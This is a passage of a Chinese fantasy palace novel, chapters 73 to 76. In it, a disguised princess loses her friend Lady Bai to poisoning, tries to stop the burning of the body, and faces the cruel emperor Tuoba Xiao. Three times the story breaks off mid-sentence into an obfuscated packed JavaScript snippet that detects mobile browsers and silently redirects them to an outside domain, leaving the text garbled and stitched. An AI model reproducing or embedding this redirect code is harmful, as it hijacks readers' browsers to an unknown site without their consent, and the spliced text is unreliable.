“我曾在小时候见过他。小小年纪已有帝王之范,站在文武百官前头,望着东凉百姓、望着他未来的江山。阿爹牵着我的手,说,那便是你未来的夫君。我可高兴了,开始努力打扮自己,让自己上看去没那么不堪入目。可是……” 她苦笑着歪头盯着地上的蚂蚁,唤出明月的秋风中,我听到柏夫人轻轻的声音。 “时至今日,他都不曾正眼看我。” 我思索着安慰人的话,她却转眼又露出开朗的笑,坦然说道:“你若是担心在这深宫无聊了,无趣了,只管来找我。深宫只有你我二人,远离前院的争宠是非,咱们活得逍遥自在,如何?” 我深深地回望着她轻轻嗯了一声,抬头望着即将落秃的梧桐树,一时陷入了沉默中。良久,我浅浅问道:“柏夫人当真这么想吗?” 柏夫人被我的话噎住,片刻后无奈地耸了耸肩,说:“不这么想,也要逼自己这么想。否则,怎么可能坚持活下去。比起死亡,活着不是更好?这可是深宫啊,一个死了也没人知道的地方。” 73. 庭下花飞 她额前的碎发被风吹得轻轻晃动,我沉默片刻,伸手覆上柏夫人搁在身侧的手背。 “至少我在。”我低声道,“无论谁先走,另一个人都会知道……不会死得悄无声息,无人知晓。” 柏夫人怔了怔,随即轻笑出声,眼角微微弯起:“多谢清漪公主。” 她的眼睛亮得惊人,像是盛着细碎的阳光,指尖忽然戳上我微微下垂的嘴角,力道很轻,却带着不容拒绝的暖意。 “气氛太沉了。”她笑吟吟地捏了捏我的脸颊,“来,再接再厉!今日踢满五十个,清漪公主便能学成出师!” 我哀叹一声,揉着酸痛的腿:“踢毽子?不行了……腿都要断了……” “坚持!坚持!”她双手合十,眼睛亮晶晶地凑近,“今日学成毽子,明日我教你跳百索!” “跳百索?!”我一下子直起腰,“听起来有趣!……那、那再踢十个!” 自那日后,我常常去找柏夫人。 她教我东凉孩童常玩的游戏,我教她赵国闺阁里的消遣。她给我看东凉画师笔下瑰丽的山水,我给她吟诵赵国诗人缠绵的词曲。 渐渐地,我几乎忘了…… 忘了自己是个冒牌的公主,忘了这场和亲不过是一场交易,忘了肩上还压着“阻止东凉攻打赵国”的重担。 只是沉溺在这短暂却纯粹的欢愉里,像抓住了一缕偷来的光。 “夏逸飞?” 入夜,不请自来的人背对着我站在我打造的池塘边,手里攥着不知哪儿来的轻纱,怔怔地望着池中盛放的紫色莲花。 夏逸飞看向我,眼神不似平日的冷峻,反而带着几分恍惚。 “公主近来可好?” 没等我回答,他便自顾自地接了下去。 “喜笑颜开,想是与柏夫人相谈甚欢。幽宫长夜有知己作伴,倒是我多余了。” 他的目光在我与池中莲花之间游移,最终低垂眼睫,极轻地叹了口气,像是怕惊扰了夜色。 风掠过廊下,微凉。我静静注视他,忽然笑了。 “来了怎么不进屋坐?” 我向前两步,作势相邀,他却蓦地攥住我的手腕,力道不重,却不容挣脱。未及反应,已被他带着向屋内走去。 门扉将合的一瞬,他低声问:“可以吗?” 我轻轻抽回手,唇角仍噙着笑:“你都进来了才问,难不成我现在赶你出去?” 夏逸飞不语,目光落在我收回的手上,眸色沉了沉。 东凉皇帝回宫,日理万机的大将军,竟有闲心踏足这偏僻的春来殿?我 暗自摇头,压下心头那一丝荒谬的揣测。 可下一瞬,朱砂色的轻纱无声垂落,烛火倏然熄灭。 方才……有风吗? “公主……” 他的声音在黑暗中清晰传来,一字一句。 “我可以唤你南风吗?” 我呼吸微滞。 难道,那荒唐的念头……竟是真的? “你——” 轻纱被掀起,他的身影逼近,薄纱飘然覆下,将我们笼在一片朦胧的朱色里。 他的面容近在咫尺,呼吸间带着淡淡的酒气,温热地拂过我的唇角。 “你欠我的,忘记了?” 我喉间微紧:“没忘……可你也答应过不会为难我的……” “我反悔了。” 他扣住我的手腕,指腹摩挲着内侧细薄的肌肤,嗓音低哑。 “我现在只想要你。” 我猛地抽手后退,脊背抵上冰凉的屏风。 “夏逸飞……你喝醉了。” 他眸光一暗,逼近一步。 “我没醉。” “那便更不该说这种话。” 我抬眸与他对视,声线平静,唯有袖中指尖微微发颤。 “我不愿意。即便我不是公主,即便我不是东凉皇妃,我——” 他忽然笑了,唇角勾起,眼底却凝着化不开的晦暗。 “好。” 单薄的身影转身离去,衣袂扫过门槛,带起一阵微凉的风。院中落花被卷起,在他脚边盘旋,又无声坠地。 那一瞬,他的背影竟显得…… 如此孤寂。 “夏逸飞。” 他的脚步微微一顿,却没回头。 “你帮过我,我记着。但有些事……强求不得。” 夜风掠过,远处传来一声极轻的嗤笑,讽刺得近乎刺耳。 可当他转身时,面上已无半分痕迹,唯余那双深不见底的眼,静静望过来。 “走,”他忽然开口,唇角勾起一抹懒散的笑,“我带你去赏月。” 我无奈扶额,近乎叹息:“……你为何总执着于赏月?” 他低笑一声,未答。下一瞬,忽地俯身将我打横抱起,纵身跃上墙头,衣袂翻飞间,又轻巧落于屋顶。 夜风拂过他的发梢,他仰头望向天际,嗓音里带着几分漫不经心的笑意: “因为——‘举头望明月,低头思故乡。’” 天边的圆月洒下清辉,落入夏逸飞深邃的眼底,映出一片微凉的光亮。 万籁俱寂,连风声都止息,我望着他的侧脸,恍惚间想起许多往事—— 军营里枕着星辰入眠的夜晚,被迫披上嫁衣远赴异国的决绝,还有与夏逸飞纠缠不清的孽缘。 “举头望明月,低头思故乡……”我轻声问道,“将军可是想家了?” 夏逸飞沉默片刻,目光从月轮上缓缓收回。 “……想。年年想,月月想,日日想。” 我抱着膝盖,有些讶异:“我记得是……洛城?” “嗯。” 他不动声色地往我这边挪了半分,却始终恪守着那道名为“礼数”的界限。 “但那里早已没有我的家人。回去,也不过是徒增伤感。师傅当年将我推向东凉校场后,便人间蒸发。我踏遍东凉也寻不见他,是死是活全然不知。如今唯一挂念的……只有她。” 他的声音低了下去,神情恍惚。 “也不知是否还活着。” 韩风。那是前世的我,赐予那个姑娘的名字。 我斟酌着词句道:“我来东凉前曾听说,清漪公主身边有个叫风儿的侍女。幼时入宫,因与公主年岁相仿,成了贴身婢女。我想……她或许就是将军的青梅。原本该随公主嫁来东凉,却因某些……不可言说的缘由,被调往他处。” 夏逸飞忽然转头看我,月光在他眸中凝成锐利的一点。 “这缘由,与公主有关吧?” “多少有些干系。” 我望向远方的宫墙,似有马车途径,朝城外去了。 “万事皆有因果。本该是她披上嫁衣踏入东凉……我来此的第一桩心愿,便是成全她与将军重逢。若此刻站在春来殿的是她,你们早已相认。可偏偏阴差阳错换成了我……” 声音渐渐低不可闻,我垂下脑袋,靠上搭在膝盖上的手臂。 “或许这就是天意。若来的是她,只怕会……” 夏逸飞眸光一暗,显然明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056786|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白我未尽的言语。二人默契地不再多言,专注地望着明月。 “今晚的月亮……真好看。” 夏逸飞毫无征兆地靠上我的肩膀。 我没有推开,只当是个思乡心切的孩子在寻求慰藉。 十五的圆月确实很美,但我心知肚明——夏逸飞说的从来不是天上那轮明月。 比如他为何酩酊而来,为何眉间凝着化不开的寂寥。 当真是糊涂了。 竟忘了每月十五是柳砚清最难熬的日子,我居然全然不察。 “你胸口那枚梅花印……”他的气息拂过耳畔,“去哪了?” “从未有过的东西,叫我如何作答?不过……”我顿了顿,“我猜,或许与韩风有关。” 晨光熹微,用过早膳,我比学堂里最勤勉的娃娃还要急切,拎起裙角便冲出春来殿,一路小跑着拐进秋雨殿的院门。 庭中侍女正执帚清扫落叶,簌簌声里混着几声轻笑。 这几日来得太勤,连洒扫的婢女都认得我了,只略略福身,便由着我熟门熟路地往里闯。 “柏夫人早!” 内室里,柏夫人正执一盏青瓷小盅,以丁香水漱口。见我来,她眉眼一弯,待侍女退下后,便伸手牵住我。掌心柔软,还带着晨起的温热。 “清漪公主安。”她笑吟吟道,“用过早膳了?” “嗯!”我点头如捣蒜,“今日我们玩什么?” 柏夫人略一思索,忽然抚掌:“做香囊如何?前些日子家父刚遣人送了些香料来。” “好啊!”我几乎要跳起来,“我许久没做香囊了!先前给师尊做过安神的药草香囊,这次正好试试熏香——” 话音戛然而止。 柏夫人正推开厢房的门,闻言回头,眉梢微挑:“师尊?公主在赵国宫中的先生么?” 我喉头一紧。 ……说漏嘴了。 “嗯,教过我些时日。”我低头去拂裙上并不存在的皱褶,声音渐弱。 柏夫人却指尖点着下巴,若有所思:“倒是稀奇。公主的授业恩师,按礼该称少傅或侍讲才是?” 冷汗倏地沁出。 “是……是我私下取的。”我绞尽脑汁圆谎,“以示……尊崇。” 忽然,她扑哧一笑,眼角弯成月牙,顺手将案上的青瓷茶盏塞进我手里。茶汤清亮,映着她含笑的眸子:“清漪公主这般尊师重道,想来那位师尊……定也极喜爱公主。” 原是在逗我。 悬着的心倏然落地,我几乎要为自己的多疑羞愧——这般赤诚之人,怎会存害人之心?当真是……以小人之心度君子之腹。 “柏夫人。”我忽然开口。 她抬眸望来。 指尖无意识地攥紧裙裾,我深吸一口气。 “其实……我不叫赵清漪。” 心跳声震耳欲聋。 该说吗?这个念头在脑中疯转。若走漏风声……我仓皇四顾,庭院空寂,唯有风过梧桐的沙沙响。 可眼前人只是静静站着,杏眼澄澈如初春的湖,没有试探,没有算计。恰此时,云破日出,一缕金芒斜映在她面颊上,绒毛纤毫毕现,像是暖釉般温柔。 若连她都信不过,这深宫重重,我还能信谁? “我其实……” 她的眼睛太干净了。没有深宫妇人惯有的晦暗,倒像能一眼望到底的清泉。而且温暖……是骗不了人的。 看着她,那些缠绕在心头的怅然,浑然消失。 “我其实不是赵国公主。” 74. 暗灯凉簟 日头到了正午。 秋雨殿内,檀香未散。 “啪嗒——” 瓷盏从侍女手中跌落,碎成几瓣。茶汤泼溅在青砖上的刹那,竟像腐血般泛起诡异的猩红。 “啊——”尖叫声刺破纱幔,划破寂静。 侍女踉跄后退时踩到自己的裙角,后脑重重磕在博古架上。她顾不得疼痛,连滚带爬冲出殿门,不敢一刻怠慢奔向太医院。 银针刺入皮肤,立刻被黑气熏染。床榻上的人直挺挺地躺着,那双本该笑意盈盈的杏眼此刻瞪得几乎要裂开眼眶,布满血丝的眼白中嵌着两颗浑浊发黑的瞳孔。侍女站在太医身后瑟瑟发抖,在听到太医定下的结论后,膝盖重重砸在地上。 “邪毒发作,瞳孔散大。气息已断……” “夫人……夫人……” 九月初九,阳衰阴盛。秋雨殿柏夫人毒发不治,香消玉殒。 【又见东风】 听见嘈杂的动静,我和阿丘立马赶赴秋雨殿。 “啊——!!!!!” 阿丘的尖叫声划破空气,我顺着她惊恐的目光看去——几个宫人正将柏夫人从地上扶起。那张总是含着温柔笑意的脸,此刻惨白如纸,双眼还残留着未散的恐惧。 “柏夫人……” 我难以置信地抬脚就要冲过去,阿丘猛地拽住我的衣袖:“公主不能进去啊,会被污染的。” “阿丘!” 我惊愕地看向阿丘,怒火中烧,怒吼道:“你在说什么啊……你听听自己在说什么!放开我。” 阿丘被我吼声吓到不敢说话,委屈地松开我。 殿内,烛台映照着满室华彩。素日里清雅的陈设今日尽数撤换,案几上摆满精致的东凉菜馔,鲜花翡翠鎏金装点,极尽隆重。锦帐低垂的床榻上,柏夫人静静躺着。她身着绛红地联珠对雁纹锦袍,蹀躞带上的鎏金银饰泛着微光。认识柏夫人至今,我第一次见她如此精心打扮自己。 空有仅次于皇后的尊贵身份,却始终未得宫闱众人真心相待。奈何姿容平庸,终其一生,未得君王一顾…… 双脚似被禁锢,我没法迈出步子。好不容易抬起脚,又像被什么东西绊了下,踉跄着摔倒在床榻边。 “柏夫人……柏夫人?你能听见我的声音吗?柏……夫人你怎么就……” 情绪崩溃,身体不断传来窒息的疼痛,呼吸被扼住,四肢止不住的发抖。我艰难地伸手抓住她还有余温的手,然后看向她放大的瞳孔,没有紧闭的双眼。那个整日欢笑的人,此刻面无表情地躺在床踏上,无法瞑目地提前结束煎熬。 “柏夫……柏夫人……” 我哭到发不出声音,阿丘不知何时跟进来的,跪在我身边替我擦去脸上的眼泪。我一把拥住阿丘,紧闭上眼睛,想让这场噩梦醒过来,然后一个活蹦乱跳的柏夫人重新回来我面前。 身后突如其来一阵阴气,让我头皮发麻。眼前仿佛闪过一抹黑色的影子,我微微抬头睁开眼睛。 是黑无常。以及,站在门外的白无常。 黑无常入了室内,手边没有锁链以及那条恶心的黑蛇。我定定看了他一会儿,松开抱住阿丘的手臂。 “你们是来带她走的吗……” “是。”阴冷的声音不容置疑地回答我。 “我不是在做梦……这里不是我的梦魇、不是幻境……” “不是。” 阿丘环顾四周,不知道我在跟谁讲话,脸上明显的慌乱:“公主?公主在跟谁讲话?您、您别吓我……” 我捏了捏阿丘的手,说:“阿丘,你先出去。我想和柏夫人说说话。” 阿丘生怕我出事,不肯离去。我只好抱了抱她,向她保证我不会有事后,她才不舍地离开。 我转动身体换了个方向,挡在黑无常和柏夫人之间。 “我不许你们带走她。” 黑无常走到我跟前,俯瞰跪坐地上的我:“可仙子也没有救她的办法。” “……我有。” 黑无常看破了我的心思,直言戳穿:“起死回生不可用于凡人,你忘了吗?柳仙人不会帮你。她的命数已到,请仙子节哀。” 他将语气放柔了几分,耐心地宽慰我。好不容易稳住的心绪再次崩塌,我自暴自弃地十指抓抠地面,死死地用指腹抓紧冷硬的地面。不断地抓、不停地抓,直到指尖流血,在地面留下十道血红的痕迹,指尖传来的痛意让我清醒几分。 黑无常没再说话,眉头微微皱起,蹲下身握住我的手腕,提起两只惨不忍睹的手,却不用力。黑色的细烟缠绕上我的手指,将伤口慢慢愈合。 我彻底闭上了眼,无力地额头倾靠上眼前人的胸膛,昏昏沉沉地扯住他的黑袍领口。阴冷的身体在我的额头贴上后,缓缓升起热度,转眼温暖蔓延至身体每一处。 倘若她也能如此这般,从床榻上醒过来,该多好…… 浓烈的绝望,无尽的麻木。 我没有办法救她,我什么都做不到,我只能杀人却不能救人。 一片黑暗中,白无常走进室内,越过我的身体,带走了柏夫人的灵魂,悄无声息地离开。不知过了多久,我听见黑无常轻声开口。 “要我带仙子离开吗?” 我抵着他的胸膛无力地摇头,抽噎着不断麻木地摇头。 “仙子是想替她报仇吗?” 我停顿了会儿,昏昏沉沉的脑袋反应了好一会儿他说的话,最后点头作答。 黑无常又问:“用凡人的方式,血债血偿、杀人偿命吗?” 我没有回答。 黑无常低头看着我,视线落在我的头顶:“要我帮你吗?我替你带走他们。” “杀人是不对的……凡人寿命短暂,又那么脆弱……”我颤抖着小声开口,抽噎道,“我只是,不想看着她死不瞑目,死得不明不白。到死,都没见到自己心念之人……今天一定是什么特别的日子,你看她盛装打扮,满桌的美酒佳肴……定是在等一个很重要的人……她怎么能……” 话尾化作一声呜咽。 “仙子想起两次奔赴旷野,所为何事吗?” “想不起。” “在你此番重返阳世之前,我们曾在忘川河畔相遇。那时你说了句令人费解的话,若我有朝一日动了凡心,便能知晓你为何出现在地府。凡人多情,七情六欲折磨人心。而地府无悲无喜,唯有静候轮回的魂魄,将前尘往事尽数抛却。那时的你在人间徘徊太久,竟也染上了这痴缠的毛病,忘却了仙凡有别,忘却了人命如露,忘却了血肉之躯何等脆弱易折。” 黑无常捏着我的下巴,无情地闯进我的视线中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056787|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我失神地看着他,抿紧了唇。 “假如我告诉你救人的方法,代价是救人不得,搭上自己的性命,你会去吗?” 我平静地看向睁大眼睛的柏夫人,感受到黑无常的视线一直停留在我的身上,他的眼中似乎浮动着什么我看不懂的情绪。 是凡心吗。 良久,我轻轻地吐出一个字:“会。” “……嗯。” 黑无常并不意外我的回答,将我从地上拉起来。我撞进他死潭似的眼眸中,甚至看不清自己的容貌。 “所以你要告诉我吗?” “我——” 我似乎听到有什么东西在安静中崩坍,是死亡的呻吟,还是蝇虫的喧闹。黑无常只说了一个字,黝黑的指尖点上我的胸口,前胸化作水波漾开,放大成一幅熟悉的画。 旷野、江水、白梅、孤岛。是医鹿山药房的那幅画。 “我不能直言告诉你。我不想在黄泉见到你。即使……我想。” 他开口,语气平稳。 “这次,好好活下去吧。” 秋雨殿浸在昏暝里,连风声都凝滞了,一如我初入春来殿时的岑寂。转瞬间,阶前荒草蔓生,廊下再无足音,昔日环佩叮咚、笑语嫣然的痕迹,被啃噬殆尽。 庭前梧桐半死,伶仃的枯叶悬在枝头,像被遗忘的残蝶。再不会有人仰首惊呼,提着裙裾去捉那些虚幻的生机。如今它们只是吊在光阴里的骸骨,偶尔被风拨弄,发出沙哑的摩擦声——那是这座宫殿唯一的声响。 夕阳斜照时,朱漆廊柱投下长长的影,如同横陈的棺木。 干涩的眼睛再次被模糊,脚下一软,我险些跌坐在地上。阿丘及时冲过来接住我,搀扶着我慢慢离开秋雨殿。 我感到似乎有人站在我的身后。跨出门槛前,我再次回头。 黑无常和白无常站在房间门口,一旁还站着一道模糊看不清容貌的“人”。无比复杂的情绪涌上,我感到身而为人所有的情绪都一起涌上来。有委屈、有愤怒、有开心、有不舍……想要说“再见”,又觉得“谢谢”更为合适。 我留意到那张模糊的脸,脸颊有些微微提起,懵懵懂懂、微微一愣,后知后觉发现她是在对我笑。心脏隐隐的痛意传来,我也扬起一抹笑,苦涩地握紧手心。 “我们会再见的。等我……” 【黑白无常】 白无常翻了个白眼,胳膊肘撞了撞愣在原地的黑无常。 “又被仙子拒绝了呢。” 黑无常不予理睬。 “哎呀呀,第几次来着?第二次?第三次?加上化名的两次……哦!我想起了!第五次,对吧?” 骄傲地得出结论后,白无常还不忘炫耀。 黑无常眼中有光芒微闪而过。 两鬼牵着亡魂,看着不远处的仙子挥手道别,耳边听见亡魂颤颤巍巍说了几个字。 白无常纳了闷,扯了扯手中的锁链,问那亡魂:“为何道歉?” 亡魂只是哭着没再说话。 黑无常睨了眼亡魂,又望向南风。风声吞没了他的声音,无人无鬼听见。 “若是重走前生路,你的结局,依旧是黄泉吗?” 他收回视线,嗅着掌心残留的气息。 “这一次——我会成为你的归宿吗?” 75. 柏影逝萦 我眺望秋雨殿。 十月秋末,寒意刺骨,萧瑟的风声里夹杂着若有若无的叹息,仿佛亡魂的低语。 穿着白色衣裳带着白色遮布的人脚步匆匆,从秋雨殿抬着尸体走来出来,跨过门槛时木板上的“人”险些掉下来。我想上前拉开白布再看看躺在担架上的人,但一旁的阿丘拉住我的手臂将我往后带了带。放下尸体后,人员散去,我站在几里外的春来殿门前,静静地凝望那孤独的人,静静地陪着她。 没有哭声,没有哀声,一切照旧。 尸体被随意搁置在秋雨殿外的石阶上,无人理会,不知道过了多久。等白衣人离开又回来的时候,一起跟来的还有一名道士。嫔妃去世难道不该举办葬礼吗?好歹也是夫人,最基本的规格还是有的吧?就一个……超度的道士? 我站在春来殿门口不敢动,下意识屏住了呼吸。还没反应过来,我便被阿丘拉到转角的阴影处躲起来。超度的道士忘了眼四周,见无人,示意其余人将尸体又抬进秋雨殿,自己则先进殿。等所有人进去以后,秋雨殿的门被重重关上了。殿门“砰”地一声关上,沉闷的回音在空荡的宫墙间久久不散。 “他们关门做什么?” 阿丘没有回答我的问题,只是勉强挤出一个笑容说:“公主,我们进去吧。或者……您想不想去月华池散散心?我陪您!” 我知道阿丘是想让我不去关注柏夫人的事,但我哪儿耐得住。我折返回秋雨殿的大门前,发现门关着却并未上锁。 好机会。 我深深吸了一口气,定了定神,推开一扇门,透过门缝朝里望。我没见过道士超度的仪式,但是大概能想象得到。院内一片死寂,我左右环顾,别说道士了,就连柏夫人的尸体也见不着。隐约传出低声的吟唱,就像是不会拉二胡的人在乱拉琴,顷刻间让我浑身起了一片鸡皮疙瘩。 这哪儿是超度啊……亡者听了不会立马醒过来吗…… 推开门,破旧的大门发出刺耳的声响。院内果然没有人。我沿着声音走去,一直绕到后院,发现了正在做法事的一群人。然而就当我想走近的时候,手腕被人忽然拽住,强硬拉着我躲到一座假山后面。 “公主!不能去啊!” 竟然是阿丘,我松了口气。点头示意她我不进去,就在这里看。 借着假山的空隙,我看到道士掀开了柏夫人身上的白布,看到了柏夫人的尸体。心眼一下子提起来,阵阵寒意和恶心蹿上来。一旁的阿丘想阻拦,但来不及了。 阿丘偏过头,悲戚地说道:“所以不想让公主您看到的……” “那、那是什么……柏夫人?怎么可能是柏夫人……” 白布下的尸体毫无遮掩地落入我的眼中,苍白的皮肤上没有一点颜色,嘴唇和两处红点被涂抹上白色的粉末,眉毛和头发被剃光。她的身上没有什么伤口,十分安详地躺在那里,嘴角甚至还挂着似有若无的笑。若不是侧颈的胎记过于明显,我完全不敢相信躺在那里的是柏夫人。 那道士嘴里还在念着难听的经文,白衣人在他身后站成一排,双手抱在身前颔首悼念。秋风煽动柏夫人身下的白布,突然,那道士停止诵经,警觉地张望四周,确定无人后再继续。 “他们到底想做什么?把尸体抬出去又抬进来,还明目张胆的摆在后院?” “超、超度……” “超度?那白衣人拿的什么东西?” 阿丘脸上浮现出愕然的神情,半天不敢作答。片刻后沙哑着嗓子回答道:“是、是燃油……毒发身亡者被视为邪物,需剔除毛发净身后……然后……火、火葬……” “邪物?荒唐!我看谁敢烧她!” 根本来不及思考,我的身体已经快一步理智冲向柏夫人的尸体。 “你是谁!要做什么!” 我冲上前一把推开他,挡护在柏夫人的尸体上方。道士的怒吼在殿内炸响,手中经书“哗啦”翻飞。眼看白衣人聚拢过来,即将我包围住无路可逃,我立马蹲下身拿白布裹住柏夫人的尸体,抱起她从白衣人之间的缝隙中突围。 “阿丘!帮我!” 阿丘呆立在原地,脸色惨白,双手颤抖着不知该往哪儿放。可就在我掠过她身旁的瞬间,她突然像惊醒一般,张开双臂拦在了那群白衣人面前。我听见身后传来布料撕裂声,阿丘竟用牙齿死死咬住为首白衣人的衣袖。 “破坏入葬仪式,天诛地灭!你要看着昭阳坠入万劫不复,无□□回吗!” 道长的嘶声烈吼伴随着猛地踢踹。阿丘被掼在墙上时发出的闷响让我后颈发麻,她吐着血沫仍抱住那人小腿的模样,在余光里烙下猩红的残影。黑白交叠的残影狠狠砸在阿丘脊背上,她却像感觉不到疼似的,反而将那人抱得更紧。 我惊愕着回头,看见阿丘抬头望向我,染血的牙齿白得惊心。 “公主……快跑……” 我在做什么……我疯了吗…… 我在秋雨殿里狂奔,漫长的回廊终于看到大门。眼看着就要逃离这里,等出去以后又该往哪儿跑,等出去之后再说吧。我再一次加快脚步,柏夫人的尸体意外的很轻。那么爱吃爱笑体型微胖的人,怎么可能短时间内瘦到这个地步。 一定有问题。我脑海里不断重复着这句话。 那些人的身手十分敏捷,阴魂不散。挡在他们面前的阿丘被一把推开,撞在一旁的墙上。阿丘发出凄惨的叫声,但还是宁死不屈,死死抱住其中一人的腿。拳头和脚如暴雨落在阿丘身上, 距离大门只有一步之遥,我转过身用后背撞开门扉,怀中的“人”差点掉在地上,我吓得赶紧收紧手臂抱稳“她”。然而根本撞不开,头脑无法思考的时候完全忘了这扇门是往里开的。 情急之下,我非自愿地召唤来了闹别扭的玉笛。它是感知到我的危险,特地赶来救我吗? “玉笛!” 玉笛悬停在我眼前,笛身泛起诡异的红光,一缕黑气从笛孔中渗出。我看看阿丘,当务之急,不是闹别扭的时候,救人要紧。 “不可以杀人,帮阿丘逃出来!听见没!” 玉笛根本不理会我的命令,它自顾自地奏响一段诡异的旋律,渗人的曲调响彻秋雨殿。一声尖锐的颤音发出,随即化作一道流光冲向追兵。金色的丝线从笛身迸发,如毒蛇般缠上白衣人的四肢。他们惨叫挣扎,却无法挣脱。 得赶紧阻止它!否则黑虫爬出,就来不及了! 我嘶声喊道:“玉笛!你若见血,我就不要你了!” 笛声骤然拔高,如同亡魂的哭嚎。我眼睁睁看着那人脖颈处的皮肤下鼓起一串蠕动的小包,像是有无数细小的虫豸在血管里游走。玉笛的调子越拔越高,白衣人开始用指甲疯狂抓挠自己的喉咙,指缝里已经渗出了黑色的血丝——黑虫,要出来了! “玉笛——!!!!” 笛声戛然而止。 一瞬间,万籁俱寂。时间静止,风停叶止。我剧烈起伏的胸膛成为这静止世界里唯一的动荡,急促的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哥哥也不介意,掌心在我发顶轻轻一按,说:“不急,若你有需要,只管唤它。哥哥该走了,如果需要帮助,你知道如何找到哥哥。” 话音未落,他的身影已如烟消散。 风骤然灌入院落,落叶重新开始翻飞。白衣人身上的金线如潮水退去,可他们的身体仍保持着诡异的僵直,仿佛被抽走了魂魄。 “阿丘快跑!跑起来!” 趁着那群白衣人仍被诡异定住的间隙,弄不清状况的阿丘跌跌撞撞地爬起身,顾不得拍去裙摆上的尘土就冲到我身边。她的衣袖被扯破了一道口子,发髻散乱,却仍强撑着帮我拉开沉重的殿门。 “公主!” 我们刚冲出秋雨殿没几步,阿丘突然死死拽住我的衣袖。我踉跄着站稳,正要开口,才发现是春来殿门口停了辆玄色鎏金马车,站了好些人。 站在最前头官衔最高的男人微眯着眼,掩不住的凶狠气势,宛如野兽捕食猎物时一般锐利的眼神,死死盯着我。 “赵国公主这是做什么?” 他的声音不紧不慢,却让周围的空气都凝固了。身边的阿丘已经双膝跪地,双手交叠置于胸前,低头垂目:“奴婢叩见陛下。” 我不可置信地打量眼前的男人。是瑶池亭假山旁遇见的那个怪人。 “……你是……拓跋枭?” 76. 枭影逐风 阿丘脸色苍白,额头死死抵着冰冷的地砖,纯纯被拓跋枭的脸吓破了胆,浑身发抖地伏在地上。 拓跋枭轻笑一声,戏谑反问道:“胆敢直呼朕的姓名?许久不见,公主依旧改不掉嚣张跋扈的性格。” 轻巧的语气危机四伏,仿佛是他问斩前刻意装出假惺惺的一面,诱人放松警惕。 冲昏头脑的我完全忘了自己的任务和身份,全然不顾阿丘颤抖的手指拼命拽着我的裙角提醒,也要跟拓跋枭对峙。 秋雨殿追出来的白衣人和道士,见到拓跋枭后也立刻跪拜行礼。 “陛下自回宫以来与我从未见过,何来许久不见?” 拓跋枭的视线落在我手里白布包裹上,眉头骤然拧起道:“朕不想和抱着一具尸体的人交谈。今夜朕临幸此处,着人准备罢。” “不可以。” 我厉声拒绝,阿丘忙拉扯我的衣袖。 “公主!公主慎言呐……” 我不理睬阿丘的提醒,继续直言:“劳烦陛下换个地方,换个时间。柏夫人刚走,春来殿一墙之隔便是秋雨殿……” 柏夫人尸骨未寒,我不想她一生都见不到的人,方辞别,那人便至门前。 拓跋枭沉着脸,拔出一旁侍卫腰间的刀,走向阿丘。 我见状一个跨步挡在阿丘跟前,侧过身,又把柏夫人护了护。 拓跋枭居高临下鄙夷阿丘,越过我走向后方之人。站定在道士跟前,一刀落下割断道士身后一白衣人的喉咙,热血溅上我怀中的白布。 拓跋枭摆了摆手,让人把尸体抬走。片刻后仰首伸眉,若有所思地冲我不屑一笑,眼底翻涌着令人窒息的压迫感。 “柏氏供养的歪门邪教……不过公主言之有理。刚死人的地方,朕怎可在此过夜。今夜亥时,到兴宁殿侍寝。” 刀尖还在滴血,映着他眼底的戏谑。 我死死攥着怀中白布,指甲几乎要刺破掌心。 太过分……什么东凉枭雄,我看是东凉狗熊才对! 拓跋枭随手挥刀,血珠划出一道暗红的弧线,铁器在甩动间发出令人毛骨悚然的森响。 剩下的人如履薄冰,生怕他手里的刀下一个就落在自己脖子上。 我上前一步,想让他收回方才的话。刚侧过身的拓跋枭倏然回首,略一停顿,昂首道:“搞清楚你的身份,说话前掂量一番。再敢直呼朕的名字,你知道下场如何。” 竟然拿赵国一事威胁我…… 拓跋枭阴恻恻笑了声,走上马车。 我攥紧拳头,指甲扣着掌心,气得浑身发抖,咬牙切齿地瞪着扬长离去的马车。 “公主……您没事吧?” 阿丘慌忙起身扶着我的手臂,用手帕擦去我脸上的狼狈。 身后的宫人们正收拾一摊狼藉,抬着尸体经过,血水在地砖上拖出蜿蜒的痕迹。 “偏偏今日……他一定是故意的……分明看到了,却假装一无所知……如此没人性的人哪儿配做一国之主!” 我把高音调,恨不得前脚刚走的人听得一清二楚。 阿丘抬手顺着我的背,劝我消气:“公主啊!话不可乱讲!是会掉脑袋的!别气坏了身子。已是申时,公主要不要吃点点心?阿丘去给您准备。待会儿前院的人估计也会来,您……” 我无悲无喜地抱紧怀里的柏夫人,抬头看了眼天上的太阳,舒了口气。 手无寸铁的人,如何杀出一条血路……有玉笛又如何,难不成我还能令它杀了东凉皇帝,杀了拓跋枭吗?我终究只是听天由命,唯命是从。 “不必管我,你先去沐浴池等我罢。” “是……” 阿丘临走前又看了眼我怀里白布包裹的柏夫人,心事重重地去了后殿的沐浴池。 